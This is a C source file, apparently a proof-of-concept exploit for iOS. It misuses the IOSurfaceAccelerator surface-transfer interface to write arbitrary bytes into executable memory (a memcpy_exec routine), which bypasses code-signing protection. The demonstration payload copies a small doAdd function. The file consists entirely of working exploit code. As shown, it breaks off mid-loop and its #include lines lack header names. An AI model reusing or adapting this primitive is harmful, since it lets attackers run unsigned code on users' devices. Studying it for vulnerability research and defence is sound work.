// // cs935.c // cs935 // // Created by tihmstar on 12.05.22. // #include "cs935.h" #include #import #import #include #include #include #include #include #include kern_return_t mach_vm_remap(vm_map_t target_task, mach_vm_address_t *target_address, mach_vm_size_t size, mach_vm_offset_t mask, int flags, vm_map_t src_task, mach_vm_address_t src_address, boolean_t copy, vm_prot_t *cur_protection, vm_prot_t *max_protection, vm_inherit_t inheritance); static CFStringRef *my_kIOSurfaceBytesPerRow; static CFStringRef *my_kIOSurfaceWidth; static CFStringRef *my_kIOSurfaceHeight; static CFStringRef *my_kIOSurfacePixelFormat; static uint32_t (*my_IOSurfaceAcceleratorCreate)(CFAllocatorRef allocator, int type, void *outAccelerator); static void *(*my_IOSurfaceCreate)(CFDictionaryRef properties); static uint32_t (*my_IOSurfaceAcceleratorTransferSurface)(void *accelerator, void *source, void *dest, CFDictionaryRef, void *); uint32_t data[0x100] = { 0x1000//size of executable code mapped R-X, everything after is RW- }; int testcode(int a, int b); asm(".align 4"); int doAdd(int a, int b){ return a+b; } int end_doAdd(){ return 0; } void *getData(){ //first prepare data uint8_t *start = (uint8_t*)(((uint64_t)doAdd) & ~1); uint8_t *end = (uint8_t*)end_doAdd; memcpy(&data[1], start, end-start); return data; } void *memcpy_exec(void *dst, void*src, size_t size){ //setup CFMutableDictionaryRef dict = NULL; void* accel = 0; { int width = PAGE_SIZE / (16*4); int height = 16; int pitch = width*4; char pixelFormat[4] = {'A','R','G','B'}; dict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); CFDictionarySetValue(dict, *my_kIOSurfaceBytesPerRow, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &pitch)); CFDictionarySetValue(dict, *my_kIOSurfaceWidth, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &width)); CFDictionarySetValue(dict, *my_kIOSurfaceHeight, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &height)); CFDictionarySetValue(dict, *my_kIOSurfacePixelFormat, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, pixelFormat)); assert(my_IOSurfaceAcceleratorCreate(kCFAllocatorDefault, 0, &accel) == KERN_SUCCESS); } //transfer pages for (uint32_t i=0; i